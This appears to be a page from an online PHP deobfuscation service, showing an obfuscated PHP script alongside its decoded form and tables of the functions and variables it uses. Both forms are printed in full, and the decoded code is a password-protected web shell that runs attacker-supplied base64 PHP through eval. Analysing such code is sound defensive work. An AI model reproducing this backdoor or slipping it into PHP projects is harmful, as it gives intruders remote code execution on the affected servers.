Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php function _g1qm0() { $_g1qm1 = 'd51641d0b1e120ba1df8833b7547e801'; $_g1qm2 = "\x63..

Decoded Output download

$log = 'prt'; if (!isset($_SESSION)) { 	session_start(); } if (isset($_SESSION['log']) && ($_SESSION['log'] == $log)) { 	if (isset($_POST['mtq'])) {  		$pt = base64_decode($_POST['mtq']); 		eval($pt); 		exit; 	} } if (isset($_POST['pwx']) && (md5($_POST['pwx']) == $_g1qm1)) { 	$_SESSION['log'] = $log; 	exit; }

Did this file decode correctly?

Original Code

<?php
function _g1qm0() {
$_g1qm1 = 'd51641d0b1e120ba1df8833b7547e801';
$_g1qm2 = "\x63\x68\x72";
$_g1qm3 = $_g1qm2(115).$_g1qm2(116)."\x72".$_g1qm2(114)."\x65".$_g1qm2(118);
$_g1qm4 = $_g1qm3($_g1qm2(101).$_g1qm2(100)."\x6f\x63".$_g1qm2(101)."\x64".$_g1qm2(95).$_g1qm2(52)."\x36".$_g1qm2(101)."\x73\x61".$_g1qm2(98));
$_g1qm5 = $_g1qm3("\x65\x63".$_g1qm2(97)."\x6c\x70\x65".$_g1qm2(114)."\x5f\x67\x65".$_g1qm2(114)."\x70");
$_g1qm6 = $_g1qm3("\x6c".$_g1qm2(97)."\x76\x65");
$_g1qm5($_g1qm3('e'.$_g1qm2(47).'*./'),"@$_g1qm6($_g1qm4(\"JGxvZyA9ICdwcnQnOyBpZiAoIWlzc2V0KCRfU0VTU0lPTikpIHsgCXNlc3Npb25fc3RhcnQoKTsgfSBpZiAoaXNzZXQoJF9TRVNTSU9OWydsb2cnXSkgJiYgKCRfU0VTU0lPTlsnbG9nJ10gPT0gJGxvZykpIHsgCWlmIChpc3NldCgkX1BPU1RbJ210cSddKSkgeyAgCQkkcHQgPSBiYXNlNjRfZGVjb2RlKCRfUE9TVFsnbXRxJ10pOyAJCWV2YWwoJHB0KTsgCQlleGl0OyAJfSB9IGlmIChpc3NldCgkX1BPU1RbJ3B3eCddKSAmJiAobWQ1KCRfUE9TVFsncHd4J10pID09ICRfZzFxbTEpKSB7IAkkX1NFU1NJT05bJ2xvZyddID0gJGxvZzsgCWV4aXQ7IH0K\"))",'');} @_g1qm0();
?>

Function Calls

chr 16
_g1qm0 1
strrev 4
preg_replace 1
base64_decode 1

Variables

$_g1qm1 d51641d0b1e120ba1df8833b7547e801
$_g1qm2 chr
$_g1qm3 strrev
$_g1qm4 base64_decode
$_g1qm5 preg_replace
$_g1qm6 eval

Stats

MD5 50fb0677d85197833bee6c406177f613
Eval Count 2
Decode Time 193 ms